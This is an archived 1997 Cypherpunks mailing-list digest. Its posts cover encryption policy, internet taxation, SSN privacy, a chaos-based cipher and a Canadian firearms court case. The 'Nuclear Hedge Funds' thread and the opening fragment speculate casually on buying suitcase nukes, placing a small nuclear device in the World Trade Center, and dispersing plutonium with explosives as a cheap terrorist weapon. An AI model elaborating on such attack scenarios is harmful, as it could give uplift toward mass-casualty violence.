Based on recent statements by "officials" of the former Soviet Union a number of "suitcase" nukes are missing. Possible sale price - $1,000,000. Cheaper than what is described above but substantially more than the biological agent development. AND teh "B" option is an ongoing operation that is readily transportable and much less easily detected by conventional means. Which way would you rather go? 

Disregarding the creative chemistry experiments available under your sink and around the house, but considering the way the government and media can characterize any assortment of household items or literature a question arises - If you have meat in your refrigerator do you in fact have the basis for a biological weapon of mass destruction? The fact that many foods can be readily converted (by improper handling or outright negligence) to poisons can beg the question of whether having food in your posession does not constitute a health hazard to your children. AND we all know that the well being of one child is what it is all about. Don't we? 

Lest anyone consider this question facetious consider that several months ago, in Dallas, a city inspector was asked to comment on the condition of private home kitchens. 

Once again, folks, it is people, not knowledge that creates problems. 



Frank J. Egan

**************************
*IT is not what we CAN do*
* IT is what we WILL do  *
**************************



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Wed, 10 Sep 1997 00:20:19 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Removing Tyranny from Democracy (Part II),was Democracy is the true enemy...
In-Reply-To: <199709081954.MAA02751@netcom13.netcom.com>
Message-ID: <Chameleon.873812000.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain




 
> the public needs to eventually learn that for every dollar they send
> to washington, they get only a fraction back, no matter how lucrative
> their own pork. the problem with our
> politics is that voters have not realized that they are almost always
> cheating themselves when they try to cheat their neighbors. it's a shell
> game that they keep playing as long as they think someone else is paying.

Agreed.

> I don't believe there are intrinsic flaws in democracy, so much as
> there are intrinsic flaws in *human*nature* that are coming to light
> after decades. government is a reflection of our human natures.
> one cannot really expect a government to correct the flaws of its
> users, any more than software could do the same.

No intrinsic flaws in democracy? 

Surely you jest. 

Democracy is 2 wolves and a sheep getting together to decide what's for 
lunch.

Please feel free to peruse Article 4, section for of the U.S. Constitution 
at http://www.geocities.com/CapitolHill/7500/const.htm#cIV4 
The authors of this document "guarantee" only one thing, that is a 
republican form of government. When I hear congresscritters and media 
whores singing the praises of "democracy", I want to puke.


---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/09/97
Time: 09:26:22
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 9 Sep 1997 23:51:18 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: Re: help
In-Reply-To: <199709091331.IAA12842@manifold.algebra.com>
Message-ID: <Pine.SUN.3.96.970909111911.13052D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 9 Sep 1997, Igor Chudov @ home wrote:

> You are not on _my_ list. Try to check other cypherpunks lists.
> 
> ssz and cyberpass, PLEASE take this gentleman out!
> 
> 	- Igor.

Igor, you know better, all AP requests should be sent to the AP bot
anonymously!

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unicorn <hvdl@sequent.com>
Date: Tue, 9 Sep 1997 19:14:52 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Nuclear Hedge Funds
In-Reply-To: <v03102802b039df8e51d7@[207.167.93.63]>
Message-ID: <19970909130000.60003@sequent.com>
MIME-Version: 1.0
Content-Type: text/plain



--- On Sep 08, Eric Blossom apparently wrote ----------------------------------

> > (Conventional explosives could also cause  a billion or more dollars
> > worth of damage  to a major wafer fabrication plant,  of course, but
> > the manufacturing  capacity could  be shifted to  other plants  in a
> > matter  of months.  Some  major short  sale  opportunities, but  not
> > nearly what a nuke could do to  a _region_, in terms of direct blast
> > effects, fallout  in surrounding  city blocks  (tens of  square city
> > blocks, at the least, esp. give OSHA standards, etc.), and the sheer
> > panic effect.)

>
> On of my favorite analyses of  a similar scenario is contained in "The
> Curve  of Binding  Energy" by  John  McPhee (available  at your  local
> Borders or  Barnes and Noble).  He basically interviews a  high energy
> physicist  and works  out the  back  of the  envelope calculations  on
> yields, where to get the plutonium, where and how to place the device,
> etc. A key point was that a  high efficiency device is not required. A
> dirty 1.5 kiloton  gadget placed on the 40th floor  of the World Trade
> Center takes  out one  tower and  kills a  shit load  of folks  in the
> adjacent tower. Includes other rules of  thumb such as "one kiloton of
> explosives vaporizes one  kiloton of matter". YMMV, don't  try this at
> home kids, etc, etc.

Destruction by a  nuclear blast is most likely not  even the issue here.
Using a  relatively small amount  of plutonium  (ie. not even  enough to
produce a  critical mass) and enough  explosives to blast this  into the
atmosphere  you  can  kill  a  (very) large  number  of  people  over  a
relatively  small amount  of  time due  to  plutonium toxication.  These
devices are the real "dirty  gadgets", not really expensive and therefor
perfectly suitable for terrorist organisations.

But what a dreadfull way to die...

--- and thus sprach: Eric Blossom <eb@comsec.com> -----------------------------

Ciao,
Unicorn.
-- 
======= _ __,;;;/ TimeWaster on http://www.IAEhv.nl/users/hvdl ==============
     ,;( )_, )~\| A Truly Wise Man Never Plays   PGP: 64 07 5D 4C 3F 81 22 73
    ;; //  `--;     Leapfrog with a Unicorn...        52 9D 87 08 51 AA 35 F0
==='= ;\ = | ==== Youth is not a time in life, it's a State of Mind! ========





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Wed, 10 Sep 1997 04:50:00 +0800
To: cypherpunks@toad.com
Subject: Letter sent to SJ Mercury staff on CA SJR-29 ...
Message-ID: <199709092030.NAA24682@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



 Date: Tue, 9 Sep 1997 13:26:34 -0700 (PDT)
 From: Ernest Hua <hua@chromatic.com>
 To: business@sjmercury.com, computing@sjmercury.com, state@sjmercury.com
 Subject: Why no coverage of CA resolution on Encryption?
 Cc: hua@chromatic.com
 
 Why was there no coverage of CA State resolution SJR-29?
 
 I find it using the search facility at:
 
     http://www.sen.ca.gov/www/leginfo/SearchText.html
 
 And the result is at:
 
     http://www.sen.ca.gov/htbin/ca-billpage/SJR/29/gopher_root2:[bill.current.sjr.from0000.sjr0029]
 
 The on-line magazine has a full article by Will Rodger on this:
 
     http://www.zdnet.com/intweek/daily/970908b.html
 
 Apparently there was some attempt by the Clinton Administration to
 cover up their lobbying effort.  I don't understand why the
 Administration would care about a California state RESOLUTION of all
 things.  Why does the Clinton Administration want to prevent a state
 legislature from speaking its mind?
 
 And what's with this attempt to claim "copyright" on that fax?
 
 Please get some answers on this!  The US Senate/House will be voting
 on important encryption legislation in the coming days.  The people of
 this country deserves to have a open, informed, serious discussion of
 one of the most important privacy issues of the information age.  We
 cannot afford to let a few intelligence and law enforcement agencies
 dictate policy TO us against our will.
 
 Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <chrisd@loc201.tandem.com>
Date: Wed, 10 Sep 1997 05:32:26 +0800
To: "'cypherpunks@toad.com>
Subject: RE: Letter sent to SJ Mercury staff on CA SJR-29 ...
Message-ID: <01BCBD28.5FE891F0.chrisd@loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain



The reason is because...

The sjmn is crap. Thier valley coverage is terrible, and when it isn't it's 
coming off ap or reuters. They commonly commit factual errors and thier 
business editor is a joke.

My friends and I in the valley don't even call it by it's name,  it's 
become known as the "Fry's ad" (for those not in the valley, frys is a 
large consumer and computer electronics shop. But on steriods. And they 
advertise like crazy all over the sjmn).

Remember SJMN motto: If it's news, it ain't here.

 Chris

-----Original Message-----
From:	Ernest Hua [SMTP:hua@chromatic.com]
Sent:	Tuesday, September 09, 1997 1:31 PM
To:	cypherpunks@toad.com
Cc:	hua@chromatic.com
Subject:	Letter sent to SJ Mercury staff on CA SJR-29 ...

 Date: Tue, 9 Sep 1997 13:26:34 -0700 (PDT)
 From: Ernest Hua <hua@chromatic.com>
 To: business@sjmercury.com, computing@sjmercury.com, state@sjmercury.com
 Subject: Why no coverage of CA resolution on Encryption?
 Cc: hua@chromatic.com

 Why was there no coverage of CA State resolution SJR-29?

 I find it using the search facility at:

     http://www.sen.ca.gov/www/leginfo/SearchText.html

 And the result is at:

 
    http://www.sen.ca.gov/htbin/ca-billpage/SJR/29/gopher_root2:[bill.cu  
rrent.sjr.from0000.sjr0029]

 The on-line magazine has a full article by Will Rodger on this:

     http://www.zdnet.com/intweek/daily/970908b.html

 Apparently there was some attempt by the Clinton Administration to
 cover up their lobbying effort.  I don't understand why the
 Administration would care about a California state RESOLUTION of all
 things.  Why does the Clinton Administration want to prevent a state
 legislature from speaking its mind?

 And what's with this attempt to claim "copyright" on that fax?

 Please get some answers on this!  The US Senate/House will be voting
 on important encryption legislation in the coming days.  The people of
 this country deserves to have a open, informed, serious discussion of
 one of the most important privacy issues of the information age.  We
 cannot afford to let a few intelligence and law enforcement agencies
 dictate policy TO us against our will.

 Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 10 Sep 1997 05:39:30 +0800
To: cypherpunks@toad.com
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <19970909061833.14066.qmail@hotmail.com>
Message-ID: <19970909141358.22785@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Sep 09, 1997 at 08:26:25AM -0500, Igor Chudov @ home wrote:
> Nobuki Nakatuji wrote:
> > >Nobuki Nakatuji wrote:
> > >> >I will just repeat Prof. Choate's question, how do you generate Ch.
> > >> Ch generate 
> > >> 
> > >> begin
> > >> Xn+1=aXn(1.0-Xn)
> > >> return Xn+1
> > >> end
> > >
> > >What does aXn(1.0-Xn) mean? That's what I do not understand.
> > >
> > It mean Chaos function.
> 
> How do you calculate this function?
> 
> Thank you.
> 
> 	- Igor.

Forgive me, but isn't this just the standard technique for calculating
these things? Recall the algorithm for calculating points in the
mandelbrot set -- a point X0 is in the set if the infinite series
described above converges to a value within certain bounds? 
[The infinite series defined by 

	X0 = something
	Xn+1 = a * (Xn) * ( 1.0 - (Xn) )
]

This iterative technique is the fundamental idea behind the creation 
of the mandelbrot set and Julia sets, as I recall.

I don't know anything at all about the "Chaos Cryptosystem Algorithm",
but there might actually be more to it than just another onetime pad.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 10 Sep 1997 02:38:09 +0800
To: cypherpunks@toad.com
Subject: Net Papa: Global Internet Taxes Inevitable
Message-ID: <v03110729b03b42f3681f@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



The other shoe just stepped on a banana peel...

Cheers,
Bob Hettinga

--- begin forwarded text


Date: Tue, 9 Sep 1997 19:57:48 +0200 (MET DST)
To: dcsb@ai.mit.edu, cypherpunks@cyberpass.net
Subject: Net Papa: Global Internet Taxes Inevitable
From: nobody@REPLAY.COM (Anonymous)
Organization: Replay and Company UnLimited
X-001: Replay may or may not approve of the content of this posting
X-002: Report misuse of this automated service to <abuse@replay.com>
X-URL: http://www.replay.com/remailer/
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: nobody@REPLAY.COM (Anonymous)


   (09/09/97; 12:00 p.m. EDT)
   By Douglas Hayward, TechWire

   GENEVA -- Internet taxes are inevitable, according to the man dubbed
   the "Father of the Net." The only way to avoid global chaos is to
   create an international agreement on how to do it, added Vint Cerf at
   a meeting of the Internet Society here. Cerf co-developed the
   TCP/IP[LINK] protocol on which all Web and Net transaction depend.

   ...Taxation of the Internet, also called "bit taxes," must be well
   planned, Cerf said. "And it must also be thought through on a global
   scale -- not parochially," he said. In the United States. alone, there
   are 30,000 taxing authorities that might be interested in taxing
   transactions on the Internet, said Cerf, adding that right now, there
   is no way to determine which of those authorities should have
   jurisdiction over a particular transaction.

   ..."If something is becoming an infrastructure that is important for
   people's daily lives, then governments will have the right to be
   concerned about the public's safety and well-being," Cerf said. "When
   you build roads, you make rules about how people are to behave on
   these roads, in order to protect people." TW

http://192.215.107.71/wire/news/1997/09/0909tax.html

For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Burnes" <jim.burnes@n-o--s-p-a-m.ssds.com>
Date: Wed, 10 Sep 1997 04:35:55 +0800
To: rah@shipwright.com>
Subject: Re: Net Papa: Global Internet Taxes Inevitable
In-Reply-To: <v03110729b03b42f3681f@[139.167.130.247]>
Message-ID: <199709092016.OAA19230@denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



> 
>    (09/09/97; 12:00 p.m. EDT)
>    By Douglas Hayward, TechWire
> 
>    GENEVA -- Internet taxes are inevitable, according to the man dubbed
>    the "Father of the Net." The only way to avoid global chaos is to
>    create an international agreement on how to do it, added Vint Cerf at
>    a meeting of the Internet Society here. Cerf co-developed the
>    TCP/IP[LINK] protocol on which all Web and Net transaction depend.

Jeez.  I'm glad I sold all my Cerf shares at www.roguemarket.com

> 
>    ...Taxation of the Internet, also called "bit taxes," must be well
>    planned, Cerf said. "And it must also be thought through on a global
>    scale -- not parochially," he said. In the United States. alone, there
>    are 30,000 taxing authorities that might be interested in taxing
>    transactions on the Internet, said Cerf, adding that right now, there
>    is no way to determine which of those authorities should have
>    jurisdiction over a particular transaction.

Its amazing that Cerf doesn't even understand the implications of the
network that he designed.  Or maybe he does understand and just
doesn't like the fact that big bro is getting cut out of his future 
utopia.

> 
>    ..."If something is becoming an infrastructure that is important for
>    people's daily lives, then governments will have the right to be
>    concerned about the public's safety and well-being," Cerf said.

Yes and they've done such a good job protecting the public's safety
and well-being.  I don't remember the constitution spelling out 
anything about "governments rights".  Just the feds and states
limited powers.

If paranoia was on the agenda, someone would be shouting 
New World Order at this point.

;-)


> 
Jim Burnes
Engineer, Western Security, SSDS Inc
jim.burnes@ssds.com
----
When the world is running down
Make the best of what's still around
                   - Sting





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Montgomery, Lynn" <lmontgomery@jii.com>
Date: Wed, 10 Sep 1997 05:12:09 +0800
To: cypherpunks@toad.com
Subject: FW: Notification: Inbound Mail Failure
Message-ID: <AC77E198ACECD011AC1500805FBE38240630A7@juniper.jones.com>
MIME-Version: 1.0
Content-Type: text/plain

Please remove dpeterson@jonescyber.com from your mailing list.  He is no
longer at this company.


-----Original Message-----
From:	Montgomery, Lynn 
Sent:	Tuesday, September 09, 1997 2:46 PM
To:	Montgomery, Lynn
Subject:	Notification: Inbound Mail Failure 

The following recipients did not receive the attached mail.  A NDR was
not sent to the originator for the following recipients for one of the
following reasons:

*	The Delivery Status Notification options did not request failure
notification, or requested no notification.
*	The message was of precedence bulk.



NDR reasons are listed with each recipient, along with the notification
requested for that recipient, or the precedence.
<dpeterson@jonescyber.com> dpeterson@jonescyber.com
		MSEXCH:IMS:JONES:CORPORATE:CEDAR 0 (000C05A6) Unknown
Recipient
		Precedence: bulk
The message that caused this notification was:

 


To: cypherpunks@toad.com
Subject: Letter sent to SJ Mercury staff on CA SJR-29 ...
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 9 Sep 1997 14:30:38 -0600
Cc: hua@chromatic.com

 Date: Tue, 9 Sep 1997 13:26:34 -0700 (PDT)
 From: Ernest Hua <hua@chromatic.com>
 To: business@sjmercury.com, computing@sjmercury.com,
state@sjmercury.com
 Subject: Why no coverage of CA resolution on Encryption?
 Cc: hua@chromatic.com
 
 Why was there no coverage of CA State resolution SJR-29?
 
 I find it using the search facility at:
 
     http://www.sen.ca.gov/www/leginfo/SearchText.html
 
 And the result is at:
 

http://www.sen.ca.gov/htbin/ca-billpage/SJR/29/gopher_root2:[bill.curren
t.sjr.from0000.sjr0029]
 
 The on-line magazine has a full article by Will Rodger on this:
 
     http://www.zdnet.com/intweek/daily/970908b.html
 
 Apparently there was some attempt by the Clinton Administration to
 cover up their lobbying effort.  I don't understand why the
 Administration would care about a California state RESOLUTION of all
 things.  Why does the Clinton Administration want to prevent a state
 legislature from speaking its mind?
 
 And what's with this attempt to claim "copyright" on that fax?
 
 Please get some answers on this!  The US Senate/House will be voting
 on important encryption legislation in the coming days.  The people of
 this country deserves to have a open, informed, serious discussion of
 one of the most important privacy issues of the information age.  We
 cannot afford to let a few intelligence and law enforcement agencies
 dictate policy TO us against our will.
 
 Ern




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 10 Sep 1997 04:50:17 +0800
To: cypherpunks@toad.com
Subject: Credit Card might-as-well-equal SSN
Message-ID: <v03110733b03b5992b87f@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Resent-Date: Tue, 9 Sep 1997 15:18:47 -0400
X-Authentication-Warning: qnx.com: localhost [127.0.0.1] didn't use HELO
protocol
To: 0xdeadbeef@substance.abuse.blackdown.org
Subject: Credit Card might-as-well-equal SSN
Date: Tue, 09 Sep 1997 15:17:52 -0400
From: glen mccready <glen@qnx.com>
Resent-From: 0xdeadbeef@substance.abuse.blackdown.org
X-Mailing-List: <0xdeadbeef@substance.abuse.blackdown.org> archive/latest/2196
X-Loop: 0xdeadbeef@substance.abuse.blackdown.org
Precedence: list
Resent-Sender: 0xdeadbeef-request@substance.abuse.blackdown.org


Forwarded-by: Nev Dull <nev@bostic.com>
Forwarded-by: Jon Loeliger <jdl@jdl.com>

PRIVACY Forum Digest      Monday, 8 September 1997      Volume 06 : Issue 12

            Moderated by Lauren Weinstein (lauren@vortex.com)
              Vortex Technology, Woodland Hills, CA, U.S.A.

                       ===== PRIVACY FORUM =====

    -------------------------------------------------------------------
                 The PRIVACY Forum is supported in part by
                    the ACM (Association for Computing)
                 Committee on Computers and Public Policy,
          "internetMCI" (a service of the Data Services Division
      of MCI Telecommunications Corporation), and Cisco Systems, Inc.
                                 - - -
    -------------------------------------------------------------------

Date:    Wed, 13 Aug 1997 21:38:55 -0500
From:    MSproul <msproul@arnet.arn.net>
Subject: U-Haul/Credit Cards/Social Security Numbers


Today I went to the local U-Haul to rent a small trailer to move a lawn
tractor. In the course of filling out the rental agreement I was asked for
my drivers license then asked for my social security number which I refused
to give. (Texas does not have SSN on the driver's license) The agent then
asked for a credit card, which I was planning to use to charge the rental.
During the subsequent discussion the agent told me that since the Oklahoma
bombing if they don't get a SSN they are required to to get a credit card
number as a second form of identification. They can then get the SSN from
the credit card issuer.

Questions: Is this for real?  How wide spread is this?  What does U-Haul do
with your SSN? How difficult is it for someone (company) to get your SSN
when you use your credit card?

M. L. Sproul
Amarillo, TX

                [ Under current law, your SSN is part of what's called
                  "credit header" data, and is (no longer) protected
                  under the FCRA (Fair Credit Reporting Act).

                  This means that for all intents and purposes, your
                  SSN is public information.

                                -- MODERATOR ]

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Wed, 10 Sep 1997 01:53:11 +0800
To: cypherpunks@toad.com
Subject: somebody had to do it...
Message-ID: <Pine.LNX.3.96.970909172740.1607A-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

It'd be such a shame to just let Toto's latest rantings go homeless, so of
course I've given them a home.  Postings for the "InfoWar" chronicle will be
put up at http://bureau42.base.org/public/infowar3/ .  I haven't done a nice
index yet, and I'm not likely to do so for a while.  New chapters will be
posted in a more-or-less "as I get around to it" fashion.  If two people
submit a chapter with the same number more or less simultaneously, I'll
probably put up the one that's more entertaining.  (I'll probably put the
others up too, though. :)

dave


- -- David E. Smith, P O Box 324, Cape Girardeau MO 63702
Keywords: CPSR EFF ACLU DS6724 Delphi SF bureau42 Wicca
HWG Dilbert crypto Millennium Linux YDKJ PGP single! ;)

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNBWHuq6m0j5YvamrEQL/EACeKNJq1XIzXPIJZOSjqaio0K9zdKoAoN3q
KQZADy9007CR6dLOd9Fc9wzZ
=zYRF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Wed, 10 Sep 1997 09:28:13 +0800
To: cypherpunks@toad.com
Subject: Good Gore, Bad Freeh
Message-ID: <v04001301b03ba2489df1@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



At least they've got the good cop, bad cop routine down.
Check out <http://allpolitics.com/1997/09/09/ap/gore.encryption/>

>WASHINGTON (AP) -- Vice President Al Gore Tuesday reaffirmed the Clinton
>Administration's policy against restricting the sale in the United
>States of high-tech devices that maintain the privacy of computer
>messages.
>
[snip]

>But White House aides, speaking on condition of anonymity, said the vice
>president's brief comment on the administration's policy was intended to
>respond to Freeh and show that for now the administration is not changing
>its position on the sale of encryption devices in the United States.
>
"For now".

Myself, I prefer California SJR 29:
<http://www.sen.ca.gov/htbin/ca-billpage/SJR/29/gopher_root2:[bill.current.sjr.f
rom0000.sjr0029]>
(which accomplishes nothing except feeling good, I know)

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Wed, 10 Sep 1997 07:59:14 +0800
To: cypherpunks@toad.com
Subject: Re: Cdn-Firearms Digest V1 #982
In-Reply-To: <199709091828.MAA17386@broadway.sfn.saskatoon.sk.ca>
Message-ID: <199709092216.SAA26105@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded from the Canadian Firearms Digest V1 #982

--------------------------------------------------------------------
Date: Tue, 9 Sep 1997 11:31:58 -0600
From: "David A. Tomlinson" <nfadat@telusplanet.net>
Subject: Provincial-Federal Court Battle Over Gun Law

The first day of court: An application from Clayton Ruby (the Coalition For
Gun Control Lawyer [CFGC]) to have a paper by one Professor Killias admitted
waas denied.  The CFGC had submitted it, then fiddled around to prevent
cross-examination of Prof. Killias.  An earlier judge had then ruled the
paper inadmissible because there was no opportunity for cross-examination.

The Court ruled 3 to 2 to exclude the paper.

Rod McLennan, acting for Alberta, then put Alberta's case.  It quickly
became evident that Chief Justice of Alberta Catherine Fraser had carefully
studied the federal government's case.  She mousetrapped McLennan into a
swamp by asking him why registration of handguns was legitimate, and
registration of rifles and shotguns was not.

Instead of pointing out that the matter of registration of handguns was not
before the court, that the question of the legitimacy of registration of
handguns was an issue that might appear someday before some other court,
that only the opinion of the judge in such a case could settle the
legitimacy or otherwise of handgun registration, and that he could only give
his personal opinion on the matter, McLennan tried to answer her.

He assumed that handguns are intrinsically evil, that registration of
handguns is legal and proper and constitutional.  Those were dubious
assumptions, and only his personal opinions.  He characterized handguns as
having no legitimate purpose, as being used primarily by criminals, and as
legitimate targets for regulation within the criminal law.

The judge then demanded to know why the arguments for registration of
handguns should not apply to rifles and shotguns.  McLennan was reduced to
arguing that the difference between a rifle/shotgun and a handgun was "one
of degree."  He had been mousetrapped into fighting from a bad position that
he could have -- and should have -- refused to move into.

McLennan then recouped his losses by reading into the record a prepared
statement (NOT something uttered in the heat of debate) made by Alan Rock
during his introduction of Bill C-68.  In that statement, he made it very
clear that C-68 is not aimed at criminals, is expected to have no effect on
crime or criminals, but is designed to make our society more "orderly," and
to control property.  In short, he gave a convincing presentation to tell
Parliament that C-68 is REGULATORY law, dealing with PROPERTY issues, and
equating it with automobile registration laws.

Why is that important?

Law is divided into regulatory law and criminal law.  Broadly speaking,
Criminal law prohibits behavior that is evil and damaging to the rights of
others.  Violation of a criminal law is, almost always, punishable by a term
of imprisonment.  Criminal law and its severe punishments are reserved for
the worst evils found in society.  The consitution allocates the power to
make criminal law to the federal Parliament.

Broadly speaking, regulatory law is law that regulates society, prohibiting
behavior that normally will not -- but MIGHT -- have evil or damaging
effects on the rights of others.  Regulatory law is usually NOT punishable
by a term of imprisonment.  Regulatory law and its gentler punishments are
reserved for REGULATION of our society, with the intent to make life easier
and more orderly, and to deal with property issues (e.g., should you be
allowed to own pesticides, or store pesticides where rain can corrode the
containers).  The Constitution allocates the power to make regulatory law --
in fields that existed before Confederation (1867) -- to the provincial
legislatures.  

(In fields that did not exist prior to 1867 (e.g., air transport) and fields
that straddle provinces (e.g., marine transport), the Constitution allocates
the power to make regulatory law to the federal government.  Firearms
clearly existed before 1867, and their ownership, possession and use is
local.  Firearms are property.)

Rock's equation of firearms registration with motor vehicle registration is
useful.  Motor vehicle registration is only required for motor vehicles that
travel public roads, not for POSSESSION of motor vehicles.  It is PROVINCIAL
REGULATORY law, not FEDERAL CRIMINAL law.  Imprisonment is NOT a punishment
that can be imposed for violation of a motor vehicle registration law.  When
Rock equated the two in his prepared statement, he largely made the
provincial case.  Registration of firearms may be imposed by government in a
law, but it is fundamentally REGULATORY in nature, not CRIMINAL.  

One question that has not been raised yet -- and should be -- is the
question of licensing within the CRIMINAL law.  

Bill C-68 criminalizes simple possession of any firearm.  If a person has
possession of any firearm, that is a crime, and his or her behavior is
criminal behavior -- according to Bill C-68.

In Bill C-68, the federal government then offers to SELL the person a
license to commit that crime.  If that concept is worthy of inclusion in the
criminal law, one wonders how far such a precedent may take us.  Will our
government someday be selling licenses to burgle?  To murder?  

Obviously, those two suggestions are laughable -- today.  We must, however,
recognize how much laws change over a term of years.  It was not that long
ago that we prosecuted Mafia hirelings for their activities in selling
gambling tickets that gave people chances to win money through the "numbers
racket."  

Today, the "numbers racket" has been taken away from the Mafia.  We buy our
tickets legally -- from the federal government -- and the renamed "numbers
racket" is called Lotto 6/49.  Oddly enough, the Mafia used to give us
better odds than the federal government does today.

When one looks at licensing the commission of crimes, the problems become
clear.  If the criminal law is reserved for dealing with crimes and criminal
behavior -- the sort of evils that have major damaging effects on the rights
of others -- then how can such bad behavior be legitimized by selling a
license to commit the crime to any applicant?  Either the behavior is not
that evil -- in fact, is perfectly acceptable in our society -- or the
selling of the license to engage in the behavior is wrong.

True, the C-68 system contains ways to deny the license; but it is
unequivocal that the license is available, that the behavior is NOT
intrinsically evil, and that the government expects huge numbers of
Canadians to buy the license.  The "evil" behavior is acceptable -- yet it
is a crime.  There is something wrong here.

There is something very disturbing about the selling of licenses to commit
crimes.  One cannot help but feel that either the behavior is not truly
criminal behavior, or, alternatively, the law is actually REGULATORY law
that should NOT be embedded in  the criminal law.

And what happens when the applicant cannot afford to buy the license?  Some
of the licenses offered in Bill C-68 will cost over $1000.  Is it fair or
reasonable that a person should be criminalized by poverty -- or
alternatively, denied the right to participate in a business, sport or
recreational activity by government avarice?

The more one looks at the regulatory nature of Bill C-68 -- as was so ably
described by then Minister of Justice Rock -- the more one is disturbed to
find it embedded within the criminal law, laced about with penalties of
multiple years of imprisonment, and defective in its principles.

For example, Bill C-68 makes it a criminal offence to be in possession of
any firearm.  Then it offers to sell a license commit that crime, to engage
in that criminal activity.  A Canadian buys the license, and engages in the
behavior.

Five years later, the license expires.  If the person does not notice that
his license has expired, the expiry criminalizes the individual without his
knowledge.  The penalty is multiple years of imprisonment.

There have already been laws on the books that were struck down for that
defect.  The principles of our laws make it impossible to have a law that
imposes imprisonment for an offence where the accused did nothing wrong, but
merely did not notice that an expiring document was about to criminalize him
or her.

One hopes that those aspects of Bill C-68 will be brought out in future days
of the Alberta Court of Appeal hearing.

Dave Tomllinson, NFA
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





